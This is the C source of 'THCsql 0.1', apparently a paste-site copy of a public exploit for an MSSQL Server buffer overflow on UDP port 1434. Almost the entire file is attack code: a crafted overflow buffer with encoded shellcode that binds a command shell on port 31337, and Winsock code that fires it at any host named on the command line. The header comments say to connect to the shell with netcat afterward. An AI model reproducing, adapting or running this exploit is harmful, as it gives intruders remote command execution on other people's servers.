THCsql.c 5.3 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140
  1. /*****************************************************************************/
  2. /* THCsql 0.1 - MSSQL Server exploit for Server < SP3 */
  3. /* Exploit by: Johnny Cyberpunk (jcyberpunk@thehackerschoice.com) */
  4. /* THC PUBLIC SOURCE MATERIALS */
  5. /* */
  6. /* The exploit can be freely distributed ! */
  7. /* */
  8. /* This is just another exploit for the well known mssql server bug which */
  9. /* was found by David Litchfield last summer. Details in this advisory: */
  10. /* http://www.nextgenss.com/advisories/mssql-udp.txt */
  11. /* */
  12. /* This exploit was tested on an english Windows 2k Server SP2 and MSSQL */
  13. /* Server with SP0 and SP2 and has worked properly. The used shellcode is */
  14. /* completely offsetless, which makes this exploit quite stable */
  15. /* */
  16. /* After successful exploitation of this bug, a commandshell should spawn on */
  17. /* TCP port 31337 ! Use netcat to connect to this port ! */
  18. /* */
  19. /* If there's no connectable port 31337, maybe it's blocked by a firewall ! */
  20. /* */
  21. /* compile with MS Visual C++ : cl THCsql.c /link ws2_32.lib */
  22. /* */
  23. /* At least some greetz fly to : THC, Halvar Flake, FX, gera, MaXX, dvorak, */
  24. /* scut, stealth, zip, zilvio and the rest of the combo ...... */
  25. /*****************************************************************************/
  26. #include <stdio.h>
  27. #include <stdlib.h>
  28. #include <string.h>
  29. #include <winsock2.h>
  30. char badbuffer[] =
  31. "\x04"
  32. "THCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHC"
  33. "THCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHC"
  34. "\xdc\xc9\xb0\x42"
  35. "\xeb\x0e"
  36. "JC"
  37. "THC!"
  38. "\x01\x70\xae\x42"
  39. "\x01\x70\xae\x42"
  40. "\x8b\xfc\x83\xc7\x2c\x66\x81\xec\x04\x02\x33\xc9\xb2\x35\x66"
  41. "\x81\xc1\x38\x01\x8a\x1f\x32\xda\x88\x1f\x47\xe2\xf7\xde\x16"
  42. "\x4f\x5c\x37\x30\x59\x6c\xcd\x28\xa9\xeb\xb9\xe4\x79\x45\xe1"
  43. "\x36\xc5\x12\x15\x15\x05\x3d\x62\x66\x07\x6a\x06\x07\x1b\x71"
  44. "\x79\x79\x34\xde\x30\xdd\xcc\xca\xca\xca\x68\xb6\xd8\x1f\x5f"
  45. "\x05\x6c\x51\xbe\x34\xbe\x75\x39\xbe\x45\x29\x98\xbe\x4d\x3d"
  46. "\xb8\x6a\x09\xbe\x2e\x34\xce\xbe\x6e\x4d\x34\xce\xbe\x7e\x29"
  47. "\x34\xcc\xbe\x66\x11\x34\xcf\x66\x64\x67\xbe\x6e\x15\x34\xce"
  48. "\x04\xfc\x74\x04\xf5\xac\xbe\x01\xbe\x34\xcb\x99\x04\xf7\xe4"
  49. "\xd7\xb1\xf5\x40\xc2\x3a\x83\x70\x30\xb8\x71\x70\x31\x53\x0c"
  50. "\x25\x40\xd4\x53\x04\x25\x6f\x6d\x6b\x63\x65\x67\x1e\x7b\x25"
  51. "\x74\x3a\x82\x39\x7f\xbe\x31\xbd\x34\xcd\x3a\x83\x78\x30\xbc"
  52. "\x71\xb8\xed\xcb\x78\x30\x40\x8b\xcb\x78\x31\x41\x14\xcb\x78"
  53. "\x17\xb8\x68\x2d\x66\xca\xe5\xbc\xf2\x5f\x31\x6d\xbd\x70\x30"
  54. "\xb5\x70\x42\x3f\xb8\x68\x41\xb5\x5e\x13\x21\xdc\x4d\xca\xca"
  55. "\xca\xbc\xfb\x04\xee\x66\x66\x66\x66\x63\x73\x63\xca\xe5\xa2"
  56. "\x60\x6d\x53\xbc\x05\x5f\x25\x60\x62\xca\x60\xe1\x7b\x63\x62"
  57. "\xca\x60\xf9\x66\x60\x62\xca\x60\xe5\xa2\xb8\x70\xbd\x65\xca"
  58. "\x60\xd1\x60\x60\xca\x60\xdd\xb8\x71\x30\x39\xa1\x66\x5d\x1b"
  59. "\x50\x4d\x50\x5d\x69\x56\x58\x51\xa1\x04\xe7\xb8\x70\xf9\xa1"
  60. "\x62\x62\x62\x66\x66\xcb\xf3\x34\xc7\x67\xa1\xb8\x70\x4d\x65"
  61. "\xb8\x70\xbd\x65\x84\x3d\x66\x66\x5f\x25\xcb\xfb\x67\x66\x66"
  62. "\x66\x60\xca\x60\xd9\x5f\xca\xca\x60\xd5";
  63. void usage();
  64. int main(int argc, char *argv[])
  65. {
  66. unsigned short sqlport=1434;
  67. unsigned int sock,addr,rc;
  68. struct sockaddr_in sqludp;
  69. struct hostent * hp;
  70. WSADATA wsaData;
  71. printf("\nTHCsql v0.1 - Wind0wZ remote root sploit for MSSQL-Servers < SP3\n");
  72. printf("by Johnny Cyberpunk (jcyberpunk@thehackerschoice.com)\n");
  73. printf("bug was found by David Litchfield\n");
  74. if(argc<2)
  75. usage();
  76. if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0)
  77. {
  78. printf("WSAStartup failed !\n");
  79. exit(-1);
  80. }
  81. hp = gethostbyname(argv[1]);
  82. if (!hp){
  83. addr = inet_addr(argv[1]);
  84. }
  85. if ((!hp) && (addr == INADDR_NONE) )
  86. {
  87. printf("Unable to resolve %s\n",argv[1]);
  88. exit(-1);
  89. }
  90. sock=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
  91. if (!sock)
  92. {
  93. printf("socket() error...\n");
  94. exit(-1);
  95. }
  96. if (hp != NULL)
  97. memcpy(&(sqludp.sin_addr),hp->h_addr,hp->h_length);
  98. else
  99. sqludp.sin_addr.s_addr = addr;
  100. if (hp)
  101. sqludp.sin_family = hp->h_addrtype;
  102. else
  103. sqludp.sin_family = AF_INET;
  104. sqludp.sin_port=htons(sqlport);
  105. rc=connect(sock, (struct sockaddr *) &sqludp, sizeof (struct sockaddr_in));
  106. if(rc==0)
  107. {
  108. send(sock,badbuffer,sizeof(badbuffer)-1,0);
  109. printf("\nexploit send .... sleeping a while ....\n");
  110. Sleep(1000);
  111. printf("\nok ... now try to connect to port 31337 via netcat !\n");
  112. }
  113. else
  114. printf("can't connect to sql port udp 1434!\n");
  115. shutdown(sock,1);
  116. closesocket(sock);
  117. exit(0);
  118. }
  119. void usage()
  120. {
  121. unsigned int a;
  122. printf("\nUsage: <Host>\n");
  123. exit(0);
  124. }